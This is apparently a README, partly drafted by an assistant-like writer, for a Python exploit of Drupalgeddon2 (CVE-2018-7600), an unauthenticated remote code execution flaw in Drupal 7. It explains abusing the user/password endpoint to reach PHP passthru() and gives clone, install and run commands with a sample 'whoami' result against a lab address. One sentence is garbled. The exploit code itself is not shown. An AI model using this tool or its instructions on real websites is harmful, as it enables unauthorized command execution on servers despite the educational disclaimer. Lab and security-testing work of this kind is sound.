
Program python untuk melakukan RCE pada drupal versi 7.56
Alright boss, I've also added the usage section starting from git clone, so the README is complete.
This is the final version that you just need to copy-paste into README.md on your GitHub repo.
This exploit exploits a vulnerability in Drupal 7.56 (and some earlier versions) known as Drupalgeddon2.
This vulnerability allows Remote Code Execution (RCE) without authentication by exploiting a flaw in a vulnerable form.
🔗 Repository: https://github.com/xxxTectationxxx/CVE-2018-7600
This script is made for educational purposes only and testing in a lab environment.
It is prohibited to use on systems without proper authorization to test.
user/password endpoint with parameters that trigger the passthru() function in PHP.form_build_id from the server response.Clone the repository:
git clone https://github.com/xxxTectationxxx/CVE-2018-7600.git
cd CVE-2018-7600
Install dependencies:
pip install requests
Run the exploit:
python3 drupalgeddon2.py --URL <target_url> --COMMAND "<command>"
Example:
python3 drupalgeddon2.py --URL http://192.168.60.129 --COMMAND "whoami"
[*] Sending initial payload to target...
[+] form_build_id found: form-ABC123XYZ
[+] Command output:
www-data
Disclaimer: The author is not responsible for misuse of this script. Use wisely and only on systems that are legitimate for testing.